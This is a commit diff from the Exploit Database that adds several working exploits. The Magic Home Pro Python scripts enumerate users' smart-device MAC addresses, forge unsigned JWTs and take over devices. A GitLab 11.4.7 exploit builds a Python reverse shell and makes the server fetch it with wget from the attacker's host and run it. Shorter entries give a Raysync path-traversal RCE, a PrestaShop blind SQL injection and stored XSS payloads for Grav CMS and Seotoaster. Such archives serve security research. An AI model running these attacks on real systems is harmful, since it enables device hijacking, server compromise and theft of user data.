DB: 2020-12-17
6 changes to exploits/shellcodes Tibco ObfuscationEngine 5.11 - Fixed Key Password Decryption Adobe (Multiple Products) - XML Injection File Content Disclosure GitLab 11.4.7 - Remote Code Execution (Authenticated) Grav CMS 1.6.30 Admin Plugin 1.9.18 - 'Page Title' Persistent Cross-Site Scripting Raysync 3.3.3.8 - RCE Magic Home Pro 1.5.1 - Authentication Bypass PrestaShop ProductComments 4.2.0 - 'id_products' Time Based Blind SQL Injection Seotoaster 3.2.0 - Stored XSS on Edit page properties
This commit is contained in:
Offensive Security
parent
c487e85d00
commit
58ad270f64
7 changed files with 675 additions and 2 deletions
292
exploits/android/webapps/49266.py
Executable file
292
exploits/android/webapps/49266.py
Executable file
|
|
@ -0,0 +1,292 @@
|
|||
# Exploit Title: Magic Home Pro 1.5.1 - Authentication Bypass
|
||||
# Google Dork: NA
|
||||
# Date: 22 October 2020
|
||||
# Exploit Author: Victor Hanna (Trustwave SpiderLabs)
|
||||
# Author Github Page: https://9lyph.github.io/CVE-2020-27199/
|
||||
# Vendor Homepage: http://www.zengge.com/appkzd
|
||||
# Software Link: https://play.google.com/store/apps/details?id=com.zengge.wifi&hl=en
|
||||
# Version: 1.5.1 (REQUIRED)
|
||||
# Tested on: Android 10
|
||||
|
||||
## Enumeration ##
|
||||
|
||||
import requests
|
||||
import json
|
||||
import os
|
||||
from colorama import init
|
||||
from colorama import Fore, Back, Style
|
||||
import re
|
||||
|
||||
'''
|
||||
1. First Stage Authentication
|
||||
2. Second Stage Enumerate
|
||||
3. Third Stage Remote Execute
|
||||
'''
|
||||
|
||||
global found_macaddresses
|
||||
found_macaddresses = []
|
||||
global outtahere
|
||||
outtahere = ""
|
||||
q = "q"
|
||||
global token
|
||||
|
||||
|
||||
def turnOn(target, token):
|
||||
|
||||
urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
|
||||
array = {
|
||||
"dataCommandItems":[
|
||||
{"hexData":"71230fa3","macAddress":target}
|
||||
]
|
||||
}
|
||||
data = json.dumps(array)
|
||||
headersOn = {
|
||||
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
|
||||
"Accept-Language": "en-US",
|
||||
"Accept": "application/json",
|
||||
"Content-Type": "application/json; charset=utf-8",
|
||||
"token":token,
|
||||
"Host": "wifij01us.magichue.net",
|
||||
"Connection": "close",
|
||||
"Accept-Encoding": "gzip, deflate"
|
||||
}
|
||||
print (Fore.WHITE + "[+] Sending Payload ...")
|
||||
response = requests.post(urlOn, data=data, headers=headersOn)
|
||||
if response.status_code == 200:
|
||||
if "true" in response.text:
|
||||
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
|
||||
else:
|
||||
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
|
||||
|
||||
def turnOff(target, token):
|
||||
|
||||
urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
|
||||
array = {
|
||||
"dataCommandItems":[
|
||||
{"hexData":"71240fa4","macAddress":target}
|
||||
]
|
||||
}
|
||||
data = json.dumps(array)
|
||||
headersOff = {
|
||||
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
|
||||
"Accept-Language": "en-US",
|
||||
"Accept": "application/json",
|
||||
"Content-Type": "application/json; charset=utf-8",
|
||||
"token":token,
|
||||
"Host": "wifij01us.magichue.net",
|
||||
"Connection": "close",
|
||||
"Accept-Encoding": "gzip, deflate"
|
||||
}
|
||||
print (Fore.WHITE + "[+] Sending Payload ...")
|
||||
response = requests.post(urlOff, data=data, headers=headersOff)
|
||||
if response.status_code == 200:
|
||||
if "true" in response.text:
|
||||
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched Off")
|
||||
else:
|
||||
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
|
||||
|
||||
def lighItUp(target, token):
|
||||
|
||||
outtahere = ""
|
||||
q = "q"
|
||||
if len(str(target)) < 12:
|
||||
print (Fore.RED + "[!] Invalid target" + Style.RESET_ALL)
|
||||
elif re.match('[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}$', target.lower()):
|
||||
while outtahere.lower() != q.lower():
|
||||
if outtahere == "0":
|
||||
turnOn(target, token)
|
||||
elif outtahere == "1":
|
||||
turnOff(target, token)
|
||||
outtahere = input(Fore.BLUE + "ON/OFF/QUIT ? (0/1/Q): " + Style.RESET_ALL)
|
||||
|
||||
def Main():
|
||||
urlAuth = "https://wifij01us.magichue.net/app/login/ZG001"
|
||||
|
||||
data = {
|
||||
"userID":"<Valid Registered Email/Username>",
|
||||
"password":"<Valid Registered Password>",
|
||||
"clientID":""
|
||||
}
|
||||
|
||||
headersAuth = {
|
||||
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
|
||||
"Accept-Language": "en-US",
|
||||
"Accept": "application/json",
|
||||
"Content-Type": "application/json; charset=utf-8",
|
||||
"Host": "wifij01us.magichue.net",
|
||||
"Connection": "close",
|
||||
"Accept-Encoding": "gzip, deflate"
|
||||
}
|
||||
|
||||
# First Stage Authenticate
|
||||
|
||||
os.system('clear')
|
||||
print (Fore.WHITE + "[+] Authenticating ...")
|
||||
response = requests.post(urlAuth, json=data, headers=headersAuth)
|
||||
resJsonAuth = response.json()
|
||||
token = (resJsonAuth['token'])
|
||||
|
||||
# Second Stage Enumerate
|
||||
|
||||
print (Fore.WHITE + "[+] Enumerating ...")
|
||||
macbase = "C82E475DCE"
|
||||
macaddress = []
|
||||
a = ["%02d" % x for x in range(100)]
|
||||
for num in a:
|
||||
macaddress.append(macbase+num)
|
||||
|
||||
with open('loot.txt', 'w') as f:
|
||||
for mac in macaddress:
|
||||
urlEnum = "https://wifij01us.magichue.net/app/getBindedUserListByMacAddress/ZG001"
|
||||
params = {
|
||||
"macAddress":mac
|
||||
}
|
||||
|
||||
headersEnum = {
|
||||
"User-Agent": "Magic Home/1.5.1(ANDROID,9,en-US)",
|
||||
"Accept-Language": "en-US",
|
||||
"Content-Type": "application/json; charset=utf-8",
|
||||
"Accept": "application/json",
|
||||
"token": token,
|
||||
"Host": "wifij01us.magichue.net",
|
||||
"Connection": "close",
|
||||
"Accept-Encoding": "gzip, deflate"
|
||||
}
|
||||
|
||||
response = requests.get(urlEnum, params=params, headers=headersEnum)
|
||||
resJsonEnum = response.json()
|
||||
data = (resJsonEnum['data'])
|
||||
if not data:
|
||||
pass
|
||||
elif data:
|
||||
found_macaddresses.append(mac)
|
||||
print (Fore.GREEN + "[*] MAC Address Identified: " + Style.RESET_ALL + f"{mac}" + Fore.GREEN + f", User: " + Style.RESET_ALL + f"{(data[0]['userName'])}, " + Fore.GREEN + "Unique ID: " + Style.RESET_ALL + f"{data[0]['userUniID']}, " + Fore.GREEN + "Binded ID: " + Style.RESET_ALL + f"{data[0]['bindedUniID']}")
|
||||
f.write(Fore.GREEN + "[*] MAC Address Identified: " + Style.RESET_ALL + f"{mac}" + Fore.GREEN + f", User: " + Style.RESET_ALL + f"{(data[0]['userName'])}, " + Fore.GREEN + "Unique ID: " + Style.RESET_ALL + f"{data[0]['userUniID']}, " + Fore.GREEN + "Binded ID: " + Style.RESET_ALL + f"{data[0]['bindedUniID']}\n")
|
||||
else:
|
||||
print (Fore.RED + "[-] No results found!")
|
||||
print(Style.RESET_ALL)
|
||||
|
||||
if not found_macaddresses:
|
||||
print (Fore.RED + "[-] No MAC addresses retrieved")
|
||||
elif found_macaddresses:
|
||||
attackboolean = input(Fore.BLUE + "Would you like to Light It Up ? (y/N): " + Style.RESET_ALL)
|
||||
if (attackboolean.upper() == 'Y'):
|
||||
target = input(Fore.RED + "Enter a target device mac address: " + Style.RESET_ALL)
|
||||
lighItUp(target, token)
|
||||
elif (attackboolean.upper() == 'N'):
|
||||
print (Fore.CYAN + "Sometimes, belief isn’t about what we can see. It’s about what we can’t."+ Style.RESET_ALL)
|
||||
else:
|
||||
print (Fore.CYAN + "The human eye is a wonderful device. With a little effort, it can fail to see even the most glaring injustice." + Style.RESET_ALL)
|
||||
|
||||
if __name__ == "__main__":
|
||||
Main()
|
||||
|
||||
## Token Forging ##
|
||||
|
||||
#!/usr/local/bin/python3
|
||||
|
||||
import url64
|
||||
import requests
|
||||
import json
|
||||
import sys
|
||||
import os
|
||||
from colorama import init
|
||||
from colorama import Fore, Back, Style
|
||||
import re
|
||||
import time
|
||||
from wsgiref.handlers import format_date_time
|
||||
from datetime import datetime
|
||||
from time import mktime
|
||||
|
||||
now = datetime.now()
|
||||
stamp = mktime(now.timetuple())
|
||||
|
||||
'''
|
||||
HTTP/1.1 200
|
||||
Server: nginx/1.10.3
|
||||
Content-Type: application/json;charset=UTF-8
|
||||
Connection: close
|
||||
|
||||
"{\"code\":0,\"msg\":\"\",\"data\":{\"webApi\":\"wifij01us.magichue.net/app\",\"webPathOta\":\"http:\/\/wifij01us.magichue.net\/app\/ota\/download\",\"tcpServerController\":\"TCP,8816,ra8816us02.magichue.net\",\"tcpServerBulb\":\"TCP,8815,ra8815us02.magichue.net\",\"tcpServerControllerOld\":\"TCP,8806,mhc8806us.magichue.net\",\"tcpServerBulbOld\":\"TCP,8805,mhb8805us.magichue.net\",\"sslMqttServer\":\"ssl:\/\/192.168.0.112:1883\",\"serverName\":\"Global\",\"serverCode\":\"US\",\"userName\":\"\",\"userEmail\":\"\",\"userUniID\":\"\"},\"token\":\"\"}"
|
||||
'''
|
||||
|
||||
def Usage():
|
||||
print (f"Usage: {sys.argv[0]} <username> <unique id>")
|
||||
|
||||
def Main(user, uniqid):
|
||||
os.system('clear')
|
||||
print ("[+] Encoding ...")
|
||||
print ("[+] Bypass header created!")
|
||||
print ("HTTP/1.1 200")
|
||||
print ("Server: nginx/1.10.3")
|
||||
print ("Date: "+str(format_date_time(stamp))+"")
|
||||
print ("Content-Type: application/json;charset=UTF-8")
|
||||
print ("Connection: close\r\n\r\n")
|
||||
|
||||
jwt_header = '{"typ": "JsonWebToken","alg": "None"}'
|
||||
jwt_data = '{"userID": "'+user+'", "uniID": "'+uniqid+'","cdpid": "ZG001","clientID": "","serverCode": "US","expireDate": 1618264850608,"refreshDate": 1613080850608,"loginDate": 1602712850608}'
|
||||
jwt_headerEncoded = url64.encode(jwt_header.strip())
|
||||
jwt_dataEncoded = url64.encode(jwt_data.strip())
|
||||
jwtcombined = (jwt_headerEncoded.strip()+"."+jwt_dataEncoded.strip()+".")
|
||||
print ("{\"code\":0,\"msg\":\"\",\"data\":{\"webApi\":\"wifij01us.magichue.net/app\",\"webPathOta\":\"http://wifij01us.magichue.net/app/ota/download\",\"tcpServerController\":\"TCP,8816,ra8816us02.magichue.net\",\"tcpServerBulb\":\"TCP,8815,ra8815us02.magichue.net\",\"tcpServerControllerOld\":\"TCP,8806,mhc8806us.magichue.net\",\"tcpServerBulbOld\":\"TCP,8805,mhb8805us.magichue.net\",\"sslMqttServer\":\"ssl:\/\/192.168.0.112:1883\",\"serverName\":\"Global\",\"serverCode\":\"US\",\"userName\":\""+user+"\",\"userEmail\":\""+user+"\",\"userUniID\":\""+uniqid+"\"},\"token\":\""+jwtcombined+"\"}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 3:
|
||||
Usage()
|
||||
else:
|
||||
Main(sys.argv[1], sys.argv[2])
|
||||
|
||||
## Device Takeover PoC ##
|
||||
|
||||
#!/usr/local/bin/python3
|
||||
|
||||
import url64
|
||||
import requests
|
||||
import json
|
||||
import sys
|
||||
import os
|
||||
from colorama import init
|
||||
from colorama import Fore, Back, Style
|
||||
import re
|
||||
|
||||
def Usage():
|
||||
print (f"Usage: {sys.argv[0]} <attacker email> <target email> <target mac address> <target forged token>")
|
||||
|
||||
def Main():
|
||||
|
||||
attacker_email = sys.argv[1]
|
||||
target_email = sys.argv[2]
|
||||
target_mac = sys.argv[3]
|
||||
forged_token = sys.argv[4]
|
||||
|
||||
os.system('clear')
|
||||
print (Fore.WHITE + "[+] Sending Payload ...")
|
||||
url = "https://wifij01us.magichue.net/app/shareDevice/ZG001"
|
||||
|
||||
array = {"friendUserID":attacker_email, "macAddress":target_mac}
|
||||
|
||||
data = json.dumps(array)
|
||||
|
||||
headers = {
|
||||
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
|
||||
"Accept-Language": "en-US",
|
||||
"Accept": "application/json",
|
||||
"Content-Type": "application/json; charset=utf-8",
|
||||
"token":forged_token,
|
||||
"Host": "wifij01us.magichue.net",
|
||||
"Connection": "close",
|
||||
"Accept-Encoding": "gzip, deflate"
|
||||
}
|
||||
|
||||
response = requests.post(url, data=data, headers=headers)
|
||||
if response.status_code == 200:
|
||||
if "true" in response.text:
|
||||
print (Fore.GREEN + "[*] Target is now yours ... " + Style.RESET_ALL)
|
||||
else:
|
||||
print (Fore.RED + "[-] Failed to take over target !" + Style.RESET_ALL)
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 5:
|
||||
Usage()
|
||||
else:
|
||||
Main()
|
||||
25
exploits/linux/webapps/49265.txt
Normal file
25
exploits/linux/webapps/49265.txt
Normal file
|
|
@ -0,0 +1,25 @@
|
|||
# Exploit Title: Raysync 3.3.3.8 - RCE
|
||||
# Date: 04/10/2020
|
||||
# Exploit Author: XiaoLong Zhu
|
||||
# Vendor Homepage: www.raysync.io
|
||||
# Version: below 3.3.3.8
|
||||
# Tested on: Linux
|
||||
|
||||
step1: run RaysyncServer.sh to build a web application on the local
|
||||
|
||||
environment, set admin password to 123456 , which will be write to
|
||||
|
||||
manage.db file.
|
||||
|
||||
step2: curl "file=@manage.db" http://[raysync
|
||||
ip]/avatar?account=1&UserId=/../../../../config/manager.db
|
||||
|
||||
to override remote manage.db file in server.
|
||||
|
||||
step3: login in admin portal with admin/123456.
|
||||
|
||||
step4: create a normal file with all permissions in scope.
|
||||
|
||||
step5: modify RaySyncServer.sh ,add arbitrary evil command.
|
||||
|
||||
step6: trigger rce with clicking "reset" button
|
||||
45
exploits/php/webapps/49264.txt
Normal file
45
exploits/php/webapps/49264.txt
Normal file
|
|
@ -0,0 +1,45 @@
|
|||
# Exploit Title: Grav CMS 1.6.30 Admin Plugin 1.9.18 - 'Page Title' Persistent Cross-Site Scripting
|
||||
# Date: 13-12-2020
|
||||
# Exploit Author: Sagar Banwa
|
||||
# Vendor Homepage: https://getgrav.org/
|
||||
# Software Link: https://getgrav.org/downloads
|
||||
# Version: Grav v1.6.30 - Admin v1.9.18
|
||||
# Tested on: Windows 10/Kali Linux
|
||||
# Contact: https://www.linkedin.com/in/sagarbanwa/
|
||||
|
||||
Step to reproduce :
|
||||
|
||||
1) log in to the grav-admin panel
|
||||
2) Go to Pages
|
||||
3) Click on Add
|
||||
4) It will ask to Add Page
|
||||
5) fill the following details as below
|
||||
Page Title : <script>alert(1337)</script>
|
||||
Folder Name : sagar_Banwa
|
||||
Parent Page : /(root)
|
||||
Page Template : Default
|
||||
Value : yes
|
||||
6) click on the Save button
|
||||
7) now Click on Pages again.
|
||||
8) your page name will be listed as <script>alert(1337)</script>
|
||||
9) Now click on the eye button to see the XSS or you can simply go to http://127.0.0.1/grav-admin/ the XSS will pop-up
|
||||
|
||||
-------------------------------------
|
||||
|
||||
POST /grav-admin/admin/pages HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 230
|
||||
Origin: http://127.0.0.1
|
||||
Connection: close
|
||||
Referer: http://127.0.0.1/grav-admin/admin/pages
|
||||
Cookie: grav-site-a4a23f1-admin=ehrcji8qpnu8e50r839r4oe2on; grav-site-a4a23f1=u5438b49fft2b5d7610a53ne1d; grav-tabs-state={%22tab-options.routes.registration.Security%22:%22data.Security%22%2C%22tab-content.options.advanced%22:%22data.content%22}
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
data%5Btitle%5D=%3Cscript%3Ealert%281337%29%3C%2Fscript%3E&data%5Bfolder%5D=sagar_banwa&data%5Broute%5D=%2F&data%5Bname%5D=default&data%5Bvisible%5D=1&data%5Bblueprint%5D=&task=continue&admin-nonce=d488c0d8bdaf2978d50f174942d5279f
|
||||
|
||||
-----------------------------
|
||||
14
exploits/php/webapps/49267.txt
Normal file
14
exploits/php/webapps/49267.txt
Normal file
|
|
@ -0,0 +1,14 @@
|
|||
# Exploit Title: PrestaShop ProductComments 4.2.0 - 'id_products' Time Based Blind SQL Injection
|
||||
# Date: 2020-12-15
|
||||
# Exploit Author: Frederic ADAM
|
||||
# Author contact: contact@fadam.eu
|
||||
# Vendor Homepage: https://www.prestashop.com
|
||||
# Software Link: https://github.com/PrestaShop/productcomments
|
||||
# Version: 4.2.0
|
||||
# Tested on: Debian 10
|
||||
# CVE : CVE-2020-26248
|
||||
|
||||
http://localhost/index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=[SQL]
|
||||
|
||||
Example:
|
||||
http://localhost/index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=(select*from(select(sleep(2)))a)
|
||||
29
exploits/php/webapps/49268.txt
Normal file
29
exploits/php/webapps/49268.txt
Normal file
|
|
@ -0,0 +1,29 @@
|
|||
# Exploit Title: Seotoaster 3.2.0 - Stored XSS on Edit page properties
|
||||
# Exploit Author: Hardik Solanki
|
||||
# Vendor Homepage: https://www.seotoaster.com/
|
||||
# Software Link: https://crm-marketing-automation-platforms.seotoaster.com/
|
||||
# Version: 3.2.0
|
||||
# Tested on Windows 10
|
||||
|
||||
XSS ATTACK:
|
||||
Cross-site Scripting (XSS) is a client-side code injection attack. The
|
||||
attacker aims to execute malicious scripts in a web browser of the victim
|
||||
by including malicious code in a legitimate web page or web application.
|
||||
The actual attack occurs when the victim visits the web page or web
|
||||
application that executes the malicious code. The web page or web
|
||||
application becomes a vehicle to deliver the malicious script to the user’s
|
||||
browser. Vulnerable vehicles that are commonly used for Cross-site
|
||||
Scripting attacks are forums, message boards, and web pages that allow
|
||||
comments.
|
||||
|
||||
XSS IMPACT:
|
||||
1: Steal the cookie
|
||||
2: User redirection to a malicious website
|
||||
|
||||
Vulnerable Parameters: Edit page properties
|
||||
|
||||
Steps to reproduce:
|
||||
1: Navigate to "https://localhost/" and log in with valid credentials.
|
||||
2: Then navigates/click on "Edit page properties".
|
||||
3: Add the payload "*"><script>alert(document.cookie)</script>*", on "Page header H1 tag" field and click on "Save Page" button. Page Saved succesfully.
|
||||
4: Hence XSS will get stored and trigger on the main home/main page.
|
||||
262
exploits/ruby/webapps/49263.py
Executable file
262
exploits/ruby/webapps/49263.py
Executable file
|
|
@ -0,0 +1,262 @@
|
|||
# Exploit Title: GitLab 11.4.7 Authenticated Remote Code Execution (No Interaction Required)
|
||||
# Date: 15th December 2020
|
||||
# Exploit Author: Mohin Paramasivam (Shad0wQu35t)
|
||||
# Software Link: https://about.gitlab.com/
|
||||
# POC: https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/
|
||||
# Tested on: GitLab 11.4.7 CE
|
||||
# CVE : CVE-2018-19571 (SSRF),CVE-2018-19585 (CRLF)
|
||||
|
||||
import requests
|
||||
import re
|
||||
import warnings
|
||||
from bs4 import BeautifulSoup
|
||||
import sys
|
||||
import base64
|
||||
import urllib
|
||||
from random_words import RandomWords
|
||||
import argparse
|
||||
import os
|
||||
import time
|
||||
|
||||
|
||||
|
||||
|
||||
parser = argparse.ArgumentParser(description='GitLab 11.4.7 Authenticated RCE')
|
||||
parser.add_argument('-U',help='GitLab Username')
|
||||
parser.add_argument('-P',help='Gitlab Password')
|
||||
parser.add_argument('-l',help='rev shell lhost')
|
||||
parser.add_argument('-p',help='rev shell lport ',type=int)
|
||||
args = parser.parse_args()
|
||||
|
||||
|
||||
username = args.U
|
||||
password = args.P
|
||||
lhost = args.l
|
||||
lport = args.p
|
||||
|
||||
|
||||
#Retrieve CSRF Token
|
||||
|
||||
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
|
||||
gitlab_url = "http://10.129.49.62:5080"
|
||||
request = requests.Session()
|
||||
print("[+] Retrieving CSRF token to submit the login form")
|
||||
time.sleep(1)
|
||||
page = request.get(gitlab_url+"/users/sign_in")
|
||||
html_content = page.text
|
||||
soup = BeautifulSoup(html_content,features="lxml")
|
||||
token = soup.findAll('meta')[16].get("content")
|
||||
|
||||
|
||||
print("[+] CSRF Token : "+token)
|
||||
time.sleep(1)
|
||||
|
||||
|
||||
#Login
|
||||
|
||||
login_info ={
|
||||
"authenticity_token": token,
|
||||
"user[login]": username,
|
||||
"user[password]": password,
|
||||
"user[remember_me]": "0"
|
||||
}
|
||||
|
||||
|
||||
login_request = request.post(gitlab_url+"/users/sign_in",login_info)
|
||||
|
||||
|
||||
if login_request.status_code==200:
|
||||
print("[+] Login Successful")
|
||||
time.sleep(1)
|
||||
|
||||
else:
|
||||
|
||||
print("Login Failed")
|
||||
print(" ")
|
||||
sys.exit()
|
||||
|
||||
|
||||
|
||||
|
||||
#Exploitation
|
||||
|
||||
print("[+] Running Exploit")
|
||||
time.sleep(1)
|
||||
print("[+] Using IPV6 URL 'git://[0:0:0:0:0:ffff:127.0.0.1]:6379/test/ssrf.git' to bypass filter")
|
||||
time.sleep(1)
|
||||
|
||||
ipv6_url = "git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%2Fssrf.git"
|
||||
|
||||
|
||||
r = RandomWords()
|
||||
project_name = r.random_word()
|
||||
project_url = '%s/%s/'%(gitlab_url,username)
|
||||
|
||||
print("[+] Creating Project")
|
||||
time.sleep(1)
|
||||
print("[+] Project Name : "+project_name)
|
||||
time.sleep(1)
|
||||
|
||||
print("[+] Creating Python Reverse Shell")
|
||||
time.sleep(1)
|
||||
|
||||
|
||||
python_shell = 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'%(lhost,lport)
|
||||
|
||||
|
||||
os.system("touch shell.py")
|
||||
shell_file = open("shell.py","w")
|
||||
shell_file.write(python_shell)
|
||||
shell_file.close()
|
||||
|
||||
|
||||
print("[+] Reverse Shell Generated")
|
||||
time.sleep(1)
|
||||
|
||||
print("[+] Start HTTP Server in current directory")
|
||||
|
||||
|
||||
print("Command : python3 -m http.server 80")
|
||||
time.sleep(2)
|
||||
|
||||
http_server = raw_input("Continue (Y/N) : ")
|
||||
|
||||
if (http_server=="N") or (http_server=="n"):
|
||||
print("Start HTTP Server before running exploit")
|
||||
|
||||
elif (http_server=="Y") or (http_server=="y"):
|
||||
|
||||
|
||||
|
||||
print("Run this script twice with options below to get SHELL!")
|
||||
print("")
|
||||
print("Option 1 : Download shell.py rev shell to server using wget")
|
||||
print("Option 2 : Execute shell.py downloaded previously")
|
||||
|
||||
option = raw_input("Option (1/2) : ")
|
||||
|
||||
|
||||
if option=="1":
|
||||
|
||||
|
||||
|
||||
reverse_shell= """\nmulti
|
||||
sadd resque:gitlab:queues system_hook_push
|
||||
lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|setsid wget http://%s/shell.py \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}"
|
||||
exec
|
||||
exec
|
||||
exec\n""" %(lhost)
|
||||
|
||||
|
||||
project_page = request.get(gitlab_url+"/projects/new")
|
||||
html_content = project_page.text
|
||||
soup = BeautifulSoup(html_content,features="lxml")
|
||||
project_token = soup.findAll('meta')[16].get("content")
|
||||
namespace_id = soup.find('input', {'name': 'project[namespace_id]'}).get('value')
|
||||
urlencoded_token1 = project_token.replace("==","%3D%3D")
|
||||
urlencoded_token_final = urlencoded_token1.replace("+","%2B")
|
||||
|
||||
|
||||
payload=b"utf8=%E2%9C%93&authenticity_token={}&project%5Bimport_url%5D={}{}&project%5Bci_cd_only%5D=false&project%5Bname%5D={}&project%5Bnamespace_id%5D={}&project%5Bpath%5D={}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0".format(urlencoded_token_final,ipv6_url,reverse_shell,project_name,namespace_id,project_name)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
proxies = {
|
||||
"http" : "http://127.0.0.1:8080",
|
||||
"https" : "https://127.0.0.1:8080",
|
||||
}
|
||||
|
||||
cookies = {
|
||||
'sidebar_collapsed': 'false',
|
||||
'event_filter': 'all',
|
||||
'hide_auto_devops_implicitly_enabled_banner_1': 'false',
|
||||
'_gitlab_session':request.cookies['_gitlab_session'],
|
||||
}
|
||||
|
||||
headers = {
|
||||
'Host': '10.129.49.31:5080',
|
||||
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
|
||||
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
|
||||
'Accept-Language': 'en-US,en;q=0.5',
|
||||
'Accept-Encoding': 'gzip, deflate',
|
||||
'Referer': 'http://10.129.49.31:5080/projects',
|
||||
'Content-Type': 'application/x-www-form-urlencoded',
|
||||
'Content-Length': '398',
|
||||
'Connection': 'close',
|
||||
'Upgrade-Insecure-Requests': '1',
|
||||
}
|
||||
|
||||
|
||||
|
||||
#response = request.post('http://10.129.49.31:5080/projects',data=payload,proxies=proxies,cookies=cookies,headers=headers,verify=False)
|
||||
|
||||
response1 = request.post(gitlab_url+'/projects',data=payload,cookies=cookies,proxies=proxies,headers=headers,verify=False)
|
||||
print("[+] Success!")
|
||||
time.sleep(1)
|
||||
print("[+] Run Exploit with Option 2")
|
||||
|
||||
|
||||
elif option=="2":
|
||||
|
||||
reverse_shell= """\nmulti
|
||||
sadd resque:gitlab:queues system_hook_push
|
||||
lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|setsid python3 shell.py \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}"
|
||||
exec
|
||||
exec
|
||||
exec\n"""
|
||||
|
||||
|
||||
|
||||
|
||||
project_page = request.get(gitlab_url+"/projects/new")
|
||||
html_content = project_page.text
|
||||
soup = BeautifulSoup(html_content,features="lxml")
|
||||
project_token = soup.findAll('meta')[16].get("content")
|
||||
namespace_id = soup.find('input', {'name': 'project[namespace_id]'}).get('value')
|
||||
urlencoded_token1 = project_token.replace("==","%3D%3D")
|
||||
urlencoded_token_final = urlencoded_token1.replace("+","%2B")
|
||||
|
||||
|
||||
payload=b"utf8=%E2%9C%93&authenticity_token={}&project%5Bimport_url%5D={}{}&project%5Bci_cd_only%5D=false&project%5Bname%5D={}&project%5Bnamespace_id%5D={}&project%5Bpath%5D={}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0".format(urlencoded_token_final,ipv6_url,reverse_shell,project_name,namespace_id,project_name)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
proxies = {
|
||||
"http" : "http://127.0.0.1:8080",
|
||||
"https" : "https://127.0.0.1:8080",
|
||||
}
|
||||
|
||||
cookies = {
|
||||
'sidebar_collapsed': 'false',
|
||||
'event_filter': 'all',
|
||||
'hide_auto_devops_implicitly_enabled_banner_1': 'false',
|
||||
'_gitlab_session':request.cookies['_gitlab_session'],
|
||||
}
|
||||
|
||||
headers = {
|
||||
'Host': '10.129.49.31:5080',
|
||||
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
|
||||
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
|
||||
'Accept-Language': 'en-US,en;q=0.5',
|
||||
'Accept-Encoding': 'gzip, deflate',
|
||||
'Referer': 'http://10.129.49.31:5080/projects',
|
||||
'Content-Type': 'application/x-www-form-urlencoded',
|
||||
'Content-Length': '398',
|
||||
'Connection': 'close',
|
||||
'Upgrade-Insecure-Requests': '1',
|
||||
}
|
||||
|
||||
|
||||
|
||||
#response = request.post('http://10.129.49.31:5080/projects',data=payload,proxies=proxies,cookies=cookies,headers=headers,verify=False)
|
||||
|
||||
response1 = request.post(gitlab_url+'/projects',data=payload,cookies=cookies,proxies=proxies,headers=headers,verify=False)
|
||||
print("[+] Success!")
|
||||
time.sleep(1)
|
||||
print("[+] Spawning Reverse Shell")
|
||||
|
|
@ -11228,7 +11228,7 @@ id,file,description,date,author,type,platform,port
|
|||
49203,exploits/windows/local/49203.txt,"Rumble Mail Server 0.51.3135 - 'rumble_win32.exe' Unquoted Service Path",2020-12-07,"Mohammed Alshehri",local,windows,
|
||||
49205,exploits/windows/local/49205.txt,"Kite 1.2020.1119.0 - 'KiteService' Unquoted Service Path",2020-12-07,"Ismael Nava",local,windows,
|
||||
49211,exploits/windows/local/49211.ps1,"Druva inSync Windows Client 6.6.3 - Local Privilege Escalation (PowerShell)",2020-12-07,1F98D,local,windows,
|
||||
